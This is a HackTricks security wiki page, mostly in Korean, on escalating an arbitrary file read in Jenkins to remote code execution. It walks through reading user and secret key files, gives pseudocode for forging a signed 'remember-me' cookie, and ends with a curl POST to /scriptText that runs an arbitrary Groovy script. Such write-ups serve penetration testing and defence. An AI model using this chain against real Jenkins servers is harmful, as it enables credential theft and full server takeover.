Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 블로그 게시물에서는 Jenkins의 Local File Inclusion 취약점을 RCE로 변환하는 훌륭한 방법을 찾을 수 있습니다: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
이것은 임의의 쿠키를 악용하여 RCE를 얻는 방법에 대한 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지 사용됩니다:
Attack Prerequisites
- Feature Requirement: "Remember me"가 활성화되어 있어야 합니다 (기본 설정).
- Access Levels: 공격자는 Overall/Read 권한이 필요합니다.
- Secret Access: 주요 파일에서 이진 및 텍스트 콘텐츠를 읽을 수 있는 능력.
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- 각 사용자에 대한
$JENKINS_HOME/users/*.xml
에서 사용자 구성 및 비밀을 액세스하여 수집합니다: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- 쿠키 서명에 사용되는 암호화 키를 추출합니다:
- Secret Key:
$JENKINS_HOME/secret.key
- Master Key:
$JENKINS_HOME/secrets/master.key
- MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- 토큰 만료 시간 계산:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 현재 시간에 1시간 추가
- 토큰을 위한 데이터 연결:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- MAC 키 파일 복호화:
key = toAes128Key(masterKey) // 마스터 키를 AES128 키 형식으로 변환
decrypted = AES.decrypt(macFile, key) // .mac 파일 복호화
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- HMAC SHA256 계산:
mac = HmacSHA256(token, macKey) // 토큰과 MAC 키를 사용하여 HMAC 계산
tokenSignature = bytesToHexString(mac) // MAC을 16진수 문자열로 변환
Cookie Encoding
- 최종 쿠키 생성:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // 쿠키 데이터를 Base64로 인코딩
Step 3: Code Execution
Session Authentication
- CSRF 및 세션 토큰 가져오기:
/crumbIssuer/api/json
에 요청을 보내Jenkins-Crumb
를 얻습니다.- 응답에서
JSESSIONID
를 캡처하여 remember-me 쿠키와 함께 사용합니다.
Command Execution Request
- Groovy 스크립트로 POST 요청 보내기:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy 스크립트는 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행하는 데 사용할 수 있습니다.
제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키로 Jenkins에 요청하는 방법을 보여줍니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.